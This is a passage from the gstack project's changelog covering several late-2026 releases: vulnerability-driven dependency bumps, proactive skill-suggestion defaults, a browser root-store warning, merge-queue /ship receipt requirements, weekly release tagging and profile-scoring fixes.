whose SKILL.md links to a non-markdown file (no request, no receipt, and a line saying the estimate was used), a reference file with frontmatter (no frontmatter request for it), an install whose skill also links notes to a documents folder (the checkout files are sent; the documents file is refused, named, listed and estimated), a gstack/ entry that is not a gstack checkout (a plain folder, a bare .git folder, another project's repo, or a gstack-shaped folder without .git: nothing behind it counts as the checkout), a bin/dev-setup tree inside the gstack repo (its skill files are sent), refused files in nested and sibling folders (each folder named once), every billed file refused (said so), a link retargeted, a file replaced by a link or a hard link, or a parent folder swapped during --diff --exact (never sent; a swapped file stops the run), a 50-deep chain of links (every file walked, billed and, under --exact, measured), a skill 45 directory links deep (discovered), skill discovery past its entry cap (refused), a sub/ whose SKILL.md is a directory (billed to the container), a tree with no skills under --exact (no estimate line), a root container with a refs/alias -> ../sub link and a link to an outside folder holding a skill (neither nested skill billed to the container), a file swapped for a FIFO after the walk (refused within the subprocess timeout, where it used to hang), two skills sharing a 50-deep link chain (both priced from one measurement, nothing estimated), a SKILL.md link retargeted to a bigger file and a reference rewritten in place after measurement (both estimated and counted as such), a bill with a refused skill (mixed: in --json and in text), a file replaced by one of the same size and mtime (estimated), a skill without frontmatter plus an empty reference under a count_tokens stand-in that rejects empty content (still fully measured), a render folder that is itself a link (not trusted), a tree whose only file is empty, alone and beside a refused link (no request, no receipt, and a notice naming which case it is), a whitespace-only reference under a stand-in that rejects it (not sent, estimated, the bill labelled mixed, and the notice counting only the file sent), the render folder found through GSTACK_STATE_ROOT with no state root passed in, a state root that is a file (the bill still runs, measured), a git checkout inside a skill or linked from one (not billed; this case passes on main and fails when the walk's .git check is removed), and a render install (its SKILL.md and sections sent from $GSTACK_STATE_ROOT/render, a link from there to a documents file refused and listed). The installed-layout and escape fixtures fail on main (the first finds no skills, the second bills the outside skill), the missing-tree case fails on main (one request sent), and each later case failed on the commit before its fix, except the hard-link and parent-swap cases, which pin the identity check added with the realpath reads (they fail when that check is removed).

Gate integrity

No threshold, budget, timeout, trial count, case kind or assertion changed. The bill of this repo's own tree, which the context-budget ratchet reads, has the same skills, bytes and rounded token figures as on main. Four raw totalMdTokens values in --json differ in the last floating-point digit, because each skill's files are now summed in sorted order.

[1.91.241.0] - 2026-10-26

The weekly OSV scan on main is green again, so the weekly release cut can run. The 2026-10-26 scan (run 40288353843, #3462) found 14 fixable vulnerabilities in six packages across both lockfiles, and the release workflow skips any main commit with a red check run. Every one is bumped to its fixed release; no application code changed, because gstack imports none of these packages directly (the MCP SDK and zod arrive through @anthropic-ai/claude-agent-sdk, body-parser through its express, fast-uri through ajv, ip-address through socks and express-rate-limit, dompurify through mermaid).

Fixed

dompurify 3.4.16 → 3.4.17 in lib/diagram-render (GHSA-cg2g-xh64-v4q7, CVSS 9.2; GHSA-mrv2-3pqr-j5jr; GHSA-c6gr-qvv4-5v3f). The override moves and the committed bundle is rebuilt with Bun 1.4.2 (two builds, one sha256 c2d37f9f…), so the shipped page runs the fixed sanitizer instead of a bundled copy of the old one. Mermaid, excalidraw and React pins are unchanged.

@modelcontextprotocol/sdk 1.31.0 → 1.32.0 (GHSA-22jm-h49p-29qw, GHSA-46jr-4wx8-v453, GHSA-rvq5-wwqv-78pq, GHSA-6prh-2h8m-c8cw), fast-uri 3.1.8 → 3.1.9 (GHSA-w74x-v6f9-j3xg, GHSA-wjr9-j795-jxcr, GHSA-333x-w4r6-6crp, GHSA-xhq7-xmqj-769h) and ip-address 10.7.3 → 10.7.4 (GHSA-rxp7-6hxx-x8q5) through the existing overrides pins.

zod 4.5.4 → 4.6.7 (GHSA-mrhx-c7xc-m3w5, fixed in 4.6.6) and body-parser 2.3.0 → 2.4.0 (GHSA-27r3-jxmh-p828) through the lockfile alone; both sit inside their consumers' ranges, so no override was added. body-parser 2.4.0 brings a nested qs 6.16.1.

Changed

lib/diagram-render/scripts/build.ts empties the one VITE_APP_FIREBASE_CONFIG literal that @excalidraw/excalidraw's npm bundle carries (excalidraw.com's public Firebase client key, which nothing in the package reads and the offline render page never uses). The build fails if the literal is not matched exactly once or any AIza… key survives, so an excalidraw bump that changes its shape cannot put the key back silently. Without this, every rebuild of the committed bundle failed the pre-gate secret scan.

Tests

test/diagram-render-drift.test.ts asserts the bundle's DOMPurify is the package.json override and no other version, and that it carries no Google API key; its path constants are repo-relative segment runs so the pre-gate's import graph selects it for the bundle, BUILD_INFO.json and the build script.

test/deps-smoke.test.ts refuses ip-address below 10.7.4 and checks every resolved version of the six packages against its OSV-fixed floor in both lockfiles (all six fail on main's lockfiles). OSV-Scanner 2.3.8 with the workflow's own arguments (--config=.osv-scanner.toml --include-git-root --recursive ./) reports no issues on this tree; the katex ignore is the only filtered advisory.

[1.91.240.0] - 2026-10-26

Proactive skill suggestions default to the four core skills. proactive now takes core (the default: only /office-hours, /review, /qa and /ship auto-invoke when a request matches), all (any matching skill, the old behavior) or off. true and false keep working as all and off. The sentiment research (GSTA-93) found auto-invocation of every skill is what makes gstack collide with other skill packs; the four core skills are where the praise is, so they keep the nudge. Garry, 2026-10-25: "do it".

Changed

bin/gstack-config: proactive defaults to core; set proactive accepts core, all, off, true and false in any case, stores the YAML yes/no family (yes/on/1, no/none/0/disabled/never) as all/off, and warns on anything else, storing core. The config header documents the three values.

SKILL.md.tmpl (the router): three branches, off, core and all; under core only the four core routing rules auto-invoke, the browser step and the Failures branches name /browse or /investigate for the user to type, and a skill the user names is always invoked. The opt-out line writes off, and all and core have their own lines.

Every skill's preamble (scripts/resolvers/preamble/generate-upgrade-check.ts): the steady-state rule names the four core skills under core, scopes the setting to unasked suggestions, carves out only the skills the user names or the running skill invokes itself ("Skills the user names or this one invokes run", so /ship dispatching /document-release is not a suggestion, while an in-skill offer to run another skill still counts as one under off), reads only core, all and off because gstack-skill-start now reports the legacy spellings as those, and is exactly as long as before, so the 89 size pins in test/fixtures/skill-md-size-allowlist.json are unchanged.

bin/gstack-skill-start: the one-time prompt offers "Keep the core four (recommended)", "Suggest every matching skill" and "Turn it off", writing core, all or off. scripts/question-registry.ts lists the same three options.

bin/gstack-skill-start: the PROACTIVE: STATUS fallback when gstack-config is missing is core, not true (found by /ship's coverage audit, red at the first head); a stored value gstack does not know reads as core, the legacy true/false and the yes/no family read as all/off, and a hand-edited value is unquoted, lowercased and stripped of a trailing comment first, so STATUS only ever says core, all or off and a typed opt-out never fails open (found by /ship's red team: proactive: "off" read as core); the first-run and first-loop tips name only core skills and stay quiet under off; the one-time offer to add ## Skill routing to the project's CLAUDE.md is not made under off (found by /ship's red team: the routing rules are the auto-invocation the user turned off); a user who stored off before the one-time proactive prompt is not asked (the prompt marker is written before STATUS reports PROACTIVE_PROMPTED).

office-hours/sections/design-and-handoff.md.tmpl: the next-review handoff takes the recommend-only path under off as well as the legacy false (found by /ship's review); under core it still offers the review, because a step inside an invoked skill is part of that skill, which the router now says in so many words.

Added

docs/proactive.md: the three values, who each is for, the legacy spellings, the commands, and the approved fallback (off if collisions continue). Linked from docs/skills.md.

Tests

test/proactive-config.test.ts: the default in get, list and defaults; the five accepted values stored verbatim, an upper-case OFF stored as off, the yes/no family stored as all/off; the warning and core fallback on an unknown value (negative control: maybe).

test/proactive-core-set.test.ts: every surface (config header and default, router template and render, preamble, one-time prompt and registry, docs, office-hours gate, tips) names the same four core skills and the same three values, with negative controls (no non-core skill in the core block, true no longer "the default", no set proactive false left).

test/proactive-skill-start.test.ts runs the script: STATUS is core when unset or unknown, the stored value otherwise, all/off for the legacy spellings and for a quoted, upper-case or commented hand edit; the missing-gstack-config fallback equals the config default (regression test: failed at the first head); the CLAUDE.md routing offer and the first-run and first-loop tips fire under core and not under off (marker unwritten).

Known gap, follow-up #3446: under core, the ## Skill routing section gstack offers for a project's CLAUDE.md, and the "Proactively suggest" sentences in non-core skill descriptions (full catalog mode), still route every skill; docs/proactive.md says so.

Gate integrity

No threshold, budget, timeout, trial count or case kind changed. Size pins unchanged (the preamble is byte-for-byte the same length).

[1.91.239.0] - 2026-10-26

BROWSER.md now says that gstack's own browser still trusts the compromised eMudhra intermediates, and how to check (#3338). Chrome blocked eight eMudhra intermediate CAs by CRLSet on 2026-10-17, the day their key compromise was reported, and scheduled the removal of their root, emSign ECC Root CA - G3, from the Chrome Root Store for 2026-10-27. gstack's default headless browser gets neither: it launches with Playwright's --disable-component-update, so it receives no CRLSet updates, and the root store built into the bundled Chromium still trusts the root. On 2026-10-24, $B goto https://dv-g3b-emudhra.we-have-a-problem.com/ loaded the test page on gstack's pinned Playwright 1.62.1 (Chromium 151.0.7922.34), and Chrome for Testing builds from 158.0.8115.0 fail it with ERR_CERT_AUTHORITY_INVALID, so the Playwright bump waits for a release that bundles one of those builds.

Changed

BROWSER.md: a new "TLS trust: the bundled Chromium's root store" section, at the end of the security stack, gives the warning, the plan (move to the first Playwright release whose Chromium is 158.0.8115.0 or later; until then, no signed-in work in this engine on an untrusted network) and the check: on a network that does not inspect TLS, after $B stop and once a known-good HTTPS site loads in headless mode, only ERR_CERT_AUTHORITY_INVALID on the test host means a build is fixed. Environment-dependent caveats (proxy variables, profiles, custom builds, headed CRLSet timing) are tracked in #3440. The table of contents, the fallback-engine introduction and the cookie-import-browser and handoff command rows link to the section. Aside is unaffected, because it is your own browser with its own updates.

For contributors

The edits above the cookie workflow excerpt change no line count, so the setup-browser-cookies/SKILL.md workflow judge input is byte-identical (prompt SHA-256 c851e635…, 12,805 bytes, before and after).

[1.91.238.0] - 2026-10-26

Five /ship frictions the unattended lanes hit (GSTA-102). Each fix is one commit.

Fixed

gstack-gate-diff <base> in a clone with no local <base> branch. Before, gstack-gate-diff main in a checkout that cloned only its feature branch printed GATE_ERROR=no_base ref=main fix=git fetch origin main, and that fix did not help: the tool only tried the local branch, and in a single-branch clone a bare git fetch origin main updates FETCH_HEAD alone. Now lib/gate-diff/git.ts resolves the base to its remote-tracking branch (origin/main, origin first, then the other remotes) when no local branch exists, says so once on stderr, and the merge-base is the same commit. When the remote-tracking branch is missing too, the fix line fetches into it explicitly: git fetch origin +main:refs/remotes/origin/main (with --unshallow on a shallow clone), which works in every clone shape. test/gate-diff-cli.test.ts adds a single-branch clone fixture with no local main and no origin/main: it asserts the error, runs the printed fix verbatim, and expects the next run to list the fixture's RH-1 hunk; two more clones cover a second remote that carries the branch when origin does not, and an upstream-only clone of a master-default repository whose default base (no argument) now comes from the same remote list as the fix line. The refspec is forced (+main:refs/remotes/origin/main) so the line also repairs a tracking ref that exists but shares no history with HEAD.

gstack-post no longer flags the repository's own release versions as public IPs. A four-part version is byte-for-byte a dotted quad, so "(1.91.191.0)" in a PR body raised pii.ip_public (MEDIUM) and stopped an unattended docs audit that cannot confirm a MEDIUM finding. The engine's version exemption only reads the declaration right before the span ("version": ", ## [), so prose that merely names a release got no help. Now lib/gstack-post.ts reads the root VERSION value and every version in a root CHANGELOG.md release heading (## [1.2.3.4], ## v1.2.3.4, through the same parseChangelog gstack-restamp uses) and passes those exact strings to the scan's allowlist. Verdict: this narrows one detector by the repo's own release set, and nothing else. The allowlist is exact-string and context-free, so a released quad is exempt wherever it appears in the text, host: 1.91.191.0 included; the set is the repo's own releases and nothing wider. 8.8.8.8 and 203.0.113.7 in prose, a quad the repo never released (1.128.1.0), and the same text outside a repository or in a repo whose VERSION is three-part all still need confirmation; test/gstack-post.test.ts carries those controls beside the four benign bodies ((1.91.191.0), v1.91.226.0, a bare 1.91.191.0, release 1.91.190.0) against a synthetic CHANGELOG in which 1.91.192.0 is not a release. The same post path also stops reading a ship receipt's all-digit tree hash (tree=704992822996) and an 11-digit GitHub Actions run id in prose or link text (run 19368712345, [run 19368712345](…/actions/runs/19368712345)) as pii.phone.e164: only the exact tokens in those positions are allowlisted, and +14155551234, a bare 11-digit number and a 10-digit number after run still need confirmation (GSTA-94 hit this on #3424).

gstack-evidence records the test count of gstack's shard runner and of the remote pregate lane. bun run test:free / test:ubicloud run quiet shards that forward bun's Ran N tests line without its N pass counts, so the bun parser read every full-suite run as tests_ran: 0 and /ship's Step 16 saw a zero-run suite (GSTA-94 on #3424); the remote lane prints PREGATE_REMOTE: tree=… tests=9660 failed=0 (a lane row under lanes: in the pregate table) and requires-remote: … cleared by remote-gate tree=… tests=9660, which no parser knew, so it was tests_ran: unknown and the ship receipt and the Review Readiness Dashboard never carried the number. Now a bun terminal line with no counts block above it is not a bun summary (bun always prints 0 pass / 0 fail, even for an all-skip run, which still grades ZERO-RUN), the shard runner's per-shard [test:free] PASS — N tests epilogues are summed for the last run in the output (a files-from run's FILES-FROM RESULT: … tests=N is the same sum; a run with a FAIL — or FLAKY-PASS — epilogue and no such total has lost a shard's count and is recorded as unknown, not a partial sum), and when the shard runner spoke its verdict stands for the whole tail (the tail is the stdout tail then the stderr tail, so a line's position cannot order bun's stderr counts block against the runner's stdout epilogues; a focused bun test run before the suite in the same command no longer records its count, or ZERO-RUN, for the 10k-test run that followed), and the remote lane's two lines are parsed as whole lines like every other runner pattern (a prefixed or quoted echo does not count; the later line wins when both appear); a paid-only selection's tests=0 is ZERO-RUN, not a pass. Honest limit: the shard runner and the remote gate print only bun's terminal totals, which include skipped tests, so for those two the number is tests ran with skips included, not executed (the shard runner refuses a shard whose bun summary counts fewer files than planned, but a shard whose files all loaded and executed nothing still passes with that total). The exit code is still never changed by the parse. test/evidence.test.ts runs the wrapper over test/fixtures/evidence/pregate-remote-failed.out, the stdout of a real gstack-pregate --stage tests --remote run captured under gstack-evidence on 2026-10-26 (9658 tests, 1 failed, recorded as tests_ran=9658 with exit=1, never FRESH), over a cleared lane's table (tests_ran=9660, FRESH), over the receipt line alone, over the two lines with differing counts in both orders, and over test/fixtures/evidence/shard-runner-files-from.out, the remote gate's own shard-runner stream for this branch (275 files, 16 shards, 10138 tests: the epilogue sum equals the FILES-FROM RESULT total, with and without that final line, and a forwarded Ran N tests line on stderr no longer zeroes it).

gstack-restamp refuses only the CHANGELOG duplicates the PR introduces. CHANGELOG_DUPLICATE_HEADING compared the branch's headings with themselves, so a base branch whose released history already heads one version twice (gbrain's master carries two ## [0.38.0.0] sections, and its own check requires every one of them to stay) could never be stamped. The check now takes the base branch's CHANGELOG, read at origin/<base> and at the commit the branch's own lines are counted from (its fork point, or the predecessor's head in a gate-ahead stamp), the larger count per heading winning: a heading the base carries N times may appear N times on the PR, and only a further copy is refused, with a message that says how many the base has. When a reading is unavailable (the PR adds the CHANGELOG itself) the stage detail and the refusal name it. A duplicate the PR adds, on a clean base or beside an inherited one, is still refused with nothing written. Tests: a fixture whose main heads 1.2.2.0 twice stamps and keeps both copies, and still does after main collapsed the copies behind the PR's back; a PR that adds a third copy, one that adds the first duplicate on a clean base, and one whose new CHANGELOG on a base without one heads a version twice, are refused. docs/troubleshooting.md says which duplicates count.

gstack-restamp --next under a train no longer asks the lane to edit the CHANGELOG. Its next: line told every stamp to "write the CHANGELOG entry text"; a lane that obeyed on #3422 added a release summary under the new heading, the train's verify refused the head (the CHANGELOG must equal the base's plus the PR's own entry re-headed) and the queue froze. Under queue_mode stamp-at-merge the line now says to commit and push only the stamp diff with no edit of the lane's own; the claim-at-open wording is unchanged, since that bump still writes its entry at /ship's CHANGELOG step. Test: the stamp-at-merge fixture's output carries no instruction to edit the CHANGELOG by hand, and the claim-at-open fixture still does.

[1.91.237.0] - 2026-10-26

An unstamped PR can change a release output again (GSTA-96 on #3434). Regenerating agents-digest/gstack-AGENTS.md after a generator change made the Version Gate classify the head as stamped (the digest is in release_outputs) and demand base + bump, while changing only scripts/gen-agents-digest.ts failed test/agents-digest.test.ts's freshness check, so a digest rewording could not land before its slot.

Fixed

Version Gate under a train policy (lib/version-gate-train.ts, scripts/compare-pr-version.ts): a changed release_outputs file no longer counts as a stamp when it is byte for byte what the policy's release_tool generates at the head's merge base's VERSION (the head's own, since VERSION is unchanged on this path; the base tip may have stamped since, and CREW rule 14 says not to merge it); the gate runs the head's tool in a throwaway worktree with that VERSION (the changed outputs removed first, a bare environment with GSTACK_RESTAMP_VERSION and GSTACK_RESTAMP_STAGING=1 and none of the gate's tokens, no node_modules link, a 120 s limit enforced with SIGKILL so a tool that ignores TERM cannot hold the gate open, output read from a file, first 4 KB, so a lingering child cannot either) and compares byte for byte. VERSION and package.json version changes still classify the head as stamped, as does an output that differs (hand-edited, generated at a bumped version, or never written by the tool) or a policy with no release_tool; a tool that exits non-zero, is killed or cannot be staged is an error with the reason, never a pass; the staging worktree is removed and pruned on every path. version-gate.yml checks the head out with persist-credentials: false, since the head's tool now runs inside the gate. The freshness test stays strict and a stamp commit still changes only the stamp files, since the slot's restamp regenerates the output. docs/ship-policy.md states the rule under "Lane: report ready".

Tests

test/compare-pr-version.test.ts: a generator change with its regenerated output at the merge base VERSION passes as unstamped (red without the fix), and stays unstamped after main stamps again; a tool whose background child outlives it does not hold the gate open, nor does one that traps TERM (regeneratedAtBase is exported for that test); a hand-edited output, an output generated at the bumped version, an output the tool never writes, a VERSION bump without the output, a failing release tool and a policy without release_tool all still refuse; the tool sees no GH_TOKEN; no worktree is left behind.

[1.91.236.0] - 2026-10-26

The merge queue now refuses a PR that never ran /ship. Garry, 2026-10-25: "we should really be using the gstack ship skill before merging PRs." gstack-ship-queue ready printed SHIP_RECEIPT: none in the PR body as information and returned ok, so every PR in the pool was READY'd without a /ship run. The receipt /ship writes into the PR body is now a precondition at ready, train build and verify --train, with no flag around it.

Changed

gstack-ship-queue ready refuses with QUEUE_RECEIPT_MISSING when the PR body has no valid gstack-ship-receipt block and with QUEUE_RECEIPT_STALE when the receipt's head is not the head being READY'd (or its pr is another PR). The re-READY after a slot's stamp push accepts the receipt written for the pin when HEAD is the pin plus stamp files, or (from slot 2 on) the pin merged with main plus stamp files. The informational SHIP_RECEIPT: line still prints in the block, and it is one line whatever the receipt's strings contain (control characters are collapsed, so a crafted base cannot add a forged MERGE_CONDITION: line to verify --train's output).

gstack-ship-queue ready --screen refuses a stale merge ref with the new QUEUE_SCREEN_STALE_REF (GSTA-95 on #3431): GitHub stops recomputing refs/pull/<n>/merge while a PR conflicts with the base (a CHANGELOG-only conflict after a stamp counts), so a screen dispatched there planned 0 cases, reported success and ready printed SCREEN_DISPATCH: as if a screen ran. ready now compares the merge ref's head parent with the PR head before dispatching (a missing merge ref carries the same code), never adopts a finished screen that planned no cases (a superseded run skips plan-slices and uploads no paid-plan artifact; a manifest with nothing planned counts the same), and train build prints SCREEN: #<n> run <id> planned no cases …; counted as not-run and seats that slot unscreened (a plan it cannot read keeps the slot screened and prints … counted as screened, unverified).

gstack-ship-queue train build refuses a pin whose PR has no current receipt with the same codes, naming the PR, before any write, push or dispatch, --dry-run included. verify --train refuses the slot the same way before MERGE_CONDITION, and accepts a receipt written for the slot's pinned head when the current head is its stamp commit (the stamp changes only stamp files, or merges main into the pin from slot 2 on), since no /ship runs on a stamp.

gstack-ship-receipt result (new) is /ship's terminal step: it binds the posted receipt to HEAD, writes <state root>/ship/runs/<utc>-<head12>/{ship-run.json,ship-receipt.md} (a /ship record, not a run v1 manifest: gstack-artifact validate does not apply) and prints GSTACK_RESULT: skill=ship status=complete run=<dir>, status=refused run=- with the receipt code, or status=incomplete run=- when gh cannot read the PR, so a parent's merge check reads ship-run.json instead of parsing the PR body. The ship skill's new Step 22 runs it after the pr-body and handoff sections.

Unattended /ship may update an existing PR's body. gstack-skill-start's unattended block and UNATTENDED_SHIP: line, the ship skill's Step 18 and docs/unattended.md now say: when an open PR for the branch exists and HEAD is its pushed head, Step 18 takes the pr-body section's existing-PR path (body with the receipt first, and title); it never runs pr-create and never pushes a commit; anything else takes the handoff section. Before this the block said the receipt lived only in .gstack/tmp/ship-receipt.md while rule 22 and ready read it from the PR body.

INSTALL_UNVERIFIED with no verdict names the directory to install from. An installer run from the skill's own folder records a verdict for no project, so /ship launched from the project found none and the fix said only "run the installer on this machine" (GSTA-85). Both twins (lib/install-verdict.ts, bin/gstack-install-verdict.sh) now say run … scripts/install.sh --for ship from <project>: the verdict is keyed by the project directory the installer runs in.

Docs: docs/ship-policy.md#ship-before-ready (the lane runs /ship before every READY and after every push; the stamp keeps the pin's receipt; the receipt is a process gate, not an authenticity check), the three codes in docs/troubleshooting.md, docs/unattended.md (/ship now prints the result line), and the ship skill's pr-body section says what refuses without a receipt.

Gate edit (size budgets): test/helpers/carve-guards.ts raises ship's maxSkeletonBytes 81,000 → 81,600 and maxSizeRatio 1.6690 → 1.6740 for Step 22 and the Step 18 routing, offset in part by tightening Steps 14, 16, 18 and 20 prose (measured skeleton 81,535, union 314,027; the 2026-10-14 tightening had left 2 bytes of headroom). No threshold, trial count or case kind changed.

Tests

test/ship-queue-train.test.ts: READY, train build (dry run and live) and verify --train refuse a missing, invalid, other-head and other-PR receipt and admit the current one; the pinned-head receipt admits a stamp commit; verify refuses QUEUE_PROOF_MISSING when gh cannot read the PR; --screen refuses a lagging or missing merge ref and never follows a 0-case screen. The train fixture's refs/pull/<n>/merge is now a real merge commit (mergeRefCommit), as GitHub keeps it. test/gstack-ship-queue.test.ts: ready at a stamp commit (slot 1, and slot 2 with main merged in) accepts the pin's receipt; a bare merge of main with no stamp on top, an empty commit over the merge, or an edit on the pin side under the slot-2 stamp, is QUEUE_RECEIPT_STALE. gstack-ship-receipt result --pr <n> refuses QUEUE_RECEIPT_STALE when HEAD is not the PR's pushed head and prints status=incomplete when gh returns no head or the run record cannot be written; ready --screen names a failed ls-remote or fetch of the merge ref instead of blaming a conflict. Both install-verdict twins tell an unreadable verdict file from a missing one. test/auq-error-fallback-hook.test.ts: the unattended directive names the same GSTACK_RESULT writers as docs/unattended.md and gstack-skill-start (GSTA-91). test/gstack-ship-receipt.test.ts: the bindReceipt head-matching table (12-character floor, other PR, one-line SHIP_RECEIPT:), result --body refusals, --head, a non-git cwd and gh failures. The train fixture's openPr now writes a receipt for the head it opens (shipped: false leaves the body empty). test/install-verdict.test.ts pins the GSTA-85 fix in both twins; test/gstack-skill-start.test.ts pins the new unattended /ship block.

[1.91.235.0] - 2026-10-26

An issue we intend to fix later now stays open under the parked label instead of being closed. The Oct 11 triage closed 75 feature requests with a "not rejected" note, and GitHub showed them as closed with no fix. Those 75 are open again under the new parked label on garrytan/gstack ("Not fixed yet, not rejected: stays open; a comment says where it is tracked and what fixes it"), each with one comment saying where the work is tracked and what fixes it. The rule is written down: an issue closes only as fixed, duplicate or won't fix, each with its reason; a report that main already fixed closes as fixed, not won't fix; and a duplicate uses GitHub's own duplicate close reason.

Added

docs/triage.md: the three issue states (open, parked, closed), how to park an issue (the label plus one comment naming where it is tracked and what fixes it), when the label comes off, the three close reasons with their GitHub close reason and label, and where the parked themes live.

For contributors

CONTRIBUTING.md: an "Issue triage" section ahead of the PR wave process, pointing at docs/triage.md.

TODOS.md: the Wave 9 feature-themes note says issues stay open under parked and points at their theme there (73 listed, 75 with #3061 and #3122), instead of closing with a link.

[1.91.234.0] - 2026-10-26

Weekly tagged releases, and a stable channel that team-mode auto-update follows by default. Main kept stamping a version per merge, a dozen a day, with no tag or release anywhere, and ./setup --team installs moved to every one of them within the hour. Now a Monday-morning workflow tags the newest green commit on main as v<VERSION>, publishes a GitHub Release from the CHANGELOG headlines and fast-forwards a stable branch to it; team installs follow stable and move once a week (plus hotfixes), contributors keep following main, and one config key switches either way. Nothing about per-merge stamping or the merge train changed (docs/releases.md).

Added

.github/workflows/weekly-release.yml, scripts/release-cut.ts: every Monday at 14:00 UTC, or by workflow_dispatch (dry_run, default true for a manual run; ref for a hotfix), the newest first-parent commit on main whose free-tests and main-backstop check runs succeeded, with every check run finished and none red and no active freeze in refs/notes/gstack-trains, is tagged v<VERSION>, released with one headline per CHANGELOG version since the previous release (capped at 60 KB), and becomes refs/heads/stable. Stable only moves forward along main; a candidate behind it, a tag naming another commit, or a frozen queue is REFUSED. A cut that stopped half-way (tag and stable pushed, release not created) is finished by the next run. A dry run prints the plan and the exact commands and changes nothing (nothing green is exit 0 for a dry run, with every skip named); a pull request that touches the workflow or the script runs that dry run against main as a read-only job. The cut job runs only from refs/heads/main, takes ref as a full 40-hex SHA, and has contents: write and checks: read only; both rulesets cover refs/heads/main alone, so the token can push the tag and stable.

.github/workflows/evals-main-backstop.yml, scripts/train-backstop.ts: the backstop's verdict is published on the commit as the main-backstop check run from a code-free checks: write job (--outputs records the action): success for covered and gated, neutral for superseded, deferred and inert, failure for frozen and failed. The run's own conclusion is exit 0 for a superseded push (main moved past it before it was gated), so reading the run would have called a never-gated tree green; the release reads the check run instead.

bin/gstack-update-channel.sh: resolves the channel (gstack_update_channel: update_channel auto is stable when team_mode is true, else main; GSTACK_UPDATE_CHANNEL overrides), and as a command (--fetch-ref) fetches the channel ref and prints origin/stable or origin/main for the /gstack-upgrade skill.

bin/gstack-config: new key update_channel (auto | stable | main), validated on set, in the header, list and defaults.

docs/releases.md: what a release is, what green means, the channels and how to switch, hotfixes, dry runs and every outcome line.

Changed

bin/gstack-session-update: on the stable channel it fetches +refs/heads/stable:refs/remotes/origin/stable (team installs are single-branch clones) and fast-forwards to it, logging CHANNEL stable target=<sha>. Before the first release exists it follows main (CHANNEL_FALLBACK stable->main). An install already past the release stays put (CHANNEL stable ahead_of_release, then UP_TO_DATE): a depth-1 clone cannot relate the two commits, so the VERSIONs decide. The main channel's fetch, target and log lines are unchanged.

bin/gstack-update-check: reads <channel>/VERSION, resolves the SHA with ls-remote refs/heads/<channel> and compares against it; the cache identity carries #stable so a channel switch never replays the other channel's outcome. With no stable on origin yet it follows main for that check, as the session updater and gstack-upgrade do, instead of caching CHECK_FAILED from a 404 until the first cut.

bin/gstack-upgrade: fetches and fast-forwards to stable on that channel (gstack-upgrade: channel stable ... on stderr), follows the default branch with a note when origin has no stable yet (an ls-remote that fails is a fetch failure, not an empty answer), and treats a release whose VERSION is not higher than the installed one as current instead of diverged in a shallow clone. --check output lines are unchanged.

gstack-upgrade/SKILL.md.tmpl: Step 4 resolves UPSTREAM_REF through the helper and uses it for the Bun-floor check, the fast-forward, the unpushed-commit gate and the reset fallback instead of a literal origin/main; the fallback block requires the carried UPSTREAM_REF (:?) instead of defaulting to origin/main in a fresh shell, and a team install already past the release stops with AHEAD_OF_STABLE instead of FF_REFUSED and an offer to reset backwards. The helper's --fetch-ref keeps origin/stable when the fetch fails for any reason other than a missing release, so a network blink never moves a team install to main; its unused gstack_update_channel_ref is gone.

README Step 2 (team mode) says team mode follows stable and how to follow every merge instead.

Tests

test/release-cut.test.ts: on a real bare origin with a fake gh, the newest green first-parent commit wins and every skip is named (pending or neutral main-backstop, red check run, missing or running free-tests, no main-backstop check run, an unrelated check run still going); an active freeze refuses and a cleared one does not; a cut creates the annotated tag, stable and the release with --verify-tag and the headline in the notes; re-running is NOTHING_NEW; a cut whose gh release create failed is finished by the next run with notes against the release before it; the CLI exits 0 on a dry run with nothing green and 1 on the real cut; a hotfix --ref promotes a later main commit with a compare link; stable never moves backwards; a side-branch ref and a clashing tag are refused; a thousand-version span stays under the notes cap.

test/update-channel.test.ts: the resolution matrix (team mode × key × env override); the session-start hook on a depth-1 team install moves to stable (B) not main (C), follows main on update_channel=main, falls back to main with no stable on origin, and stays put when already past the release with nothing pending; gstack-upgrade --check and the upgrade follow stable then main after the key flips, say when no release exists, and call a depth-1 install past the release current; gstack-update-check on stable stays silent while main is ahead, asks ls-remote for refs/heads/stable, carries the channel in its cache identity, and follows main when origin has no stable yet; --fetch-ref keeps origin/stable when origin is unreachable.

test/weekly-release-workflow.test.ts: the workflow's triggers, concurrency, the cut job's main-only guard, permissions and 40-hex ref check, and the read-only pull-request dry run. test/evals-train-workflow.test.ts, test/train-backstop.test.ts: the backstop-check job's action-to-conclusion map, its code-free checks: write split, and the CLI's --outputs line.

test/upgrade-template-pins.test.ts, test/gstack-upgrade-fresh-shell.test.ts: the pinned fast-forward, unpushed-commit gate and reset markers name "$UPSTREAM_REF" instead of origin/main; the ordering invariants are unchanged.

Gate integrity

No threshold, budget, timeout, trial count, case kind or assertion changed. The release workflow reads check runs and the trains notes ref; it dispatches nothing and runs no tests or evals. The backstop gates exactly as before; it additionally publishes its verdict as a check run.

[1.91.233.0] - 2026-10-26

/plan-tune's inferred profile no longer pins at 1.0 after a few reviews, and it now records how many answers moved each dimension. This closes the last two parts of #2623. One /plan-eng-review produces about five answers, and every answer added its full delta, so eight sessions of "fix now" took architecture_care to 0.998, as uninformative as the 0.5 it replaced. Now each UTC day moves a dimension at most as far as one strong answer, and eight days of the same answers read 0.808. The profile JSON (--profile) also records contributing_events per dimension, so a dimension with no evidence reads 0 there instead of a bare 0.5; /plan-tune's display and --check-mismatch don't read it yet (#3436).

Fixed

bin/gstack-developer-profile: --derive sums each UTC day's deltas per dimension (by the row's ts) and clamps the sum to the largest single delta in the signal map (±0.06 today). Answers within a day net out before the clamp. Only an ISO 8601 date or date-time ts counts as dated, and a time without a zone is read as UTC; every other row shares one undated bucket, so a junk timestamp can't escape the bound. diversity.days_span counts the same UTC days. The bound ignores session_id on purpose: the PostToolUse hook and the agent log different ids for one review, and an unsubstituted SESSION_ID placeholder would merge every review into one bound or leave each answer unbounded. Several reviews on one day count as one. --trace uses the same accumulation, so it lists every contributing answer, each clamped day ("day 2026-04-01: +0.250 capped to +0.060") and a TOTAL line whose value matches --derive.

bin/gstack-developer-profile: a logged choice named after an Object.prototype member, such as constructor, or a log line that parses to a non-object such as null, no longer makes every later --derive and --trace fail; signal lookups use own properties only. --trace replaces control characters in the logged fields it prints, so a logged ts can't forge a TOTAL line.

Added

inferred.contributing_events: per dimension, the number of logged answers that moved it (an answer that writes two deltas to one dimension counts once). Ported from #2625 by @v639dragoon, with co-author credit. #2625's autonomy signal from followed_recommendation stays parked, as decided in its Oct 8 review.

Docs

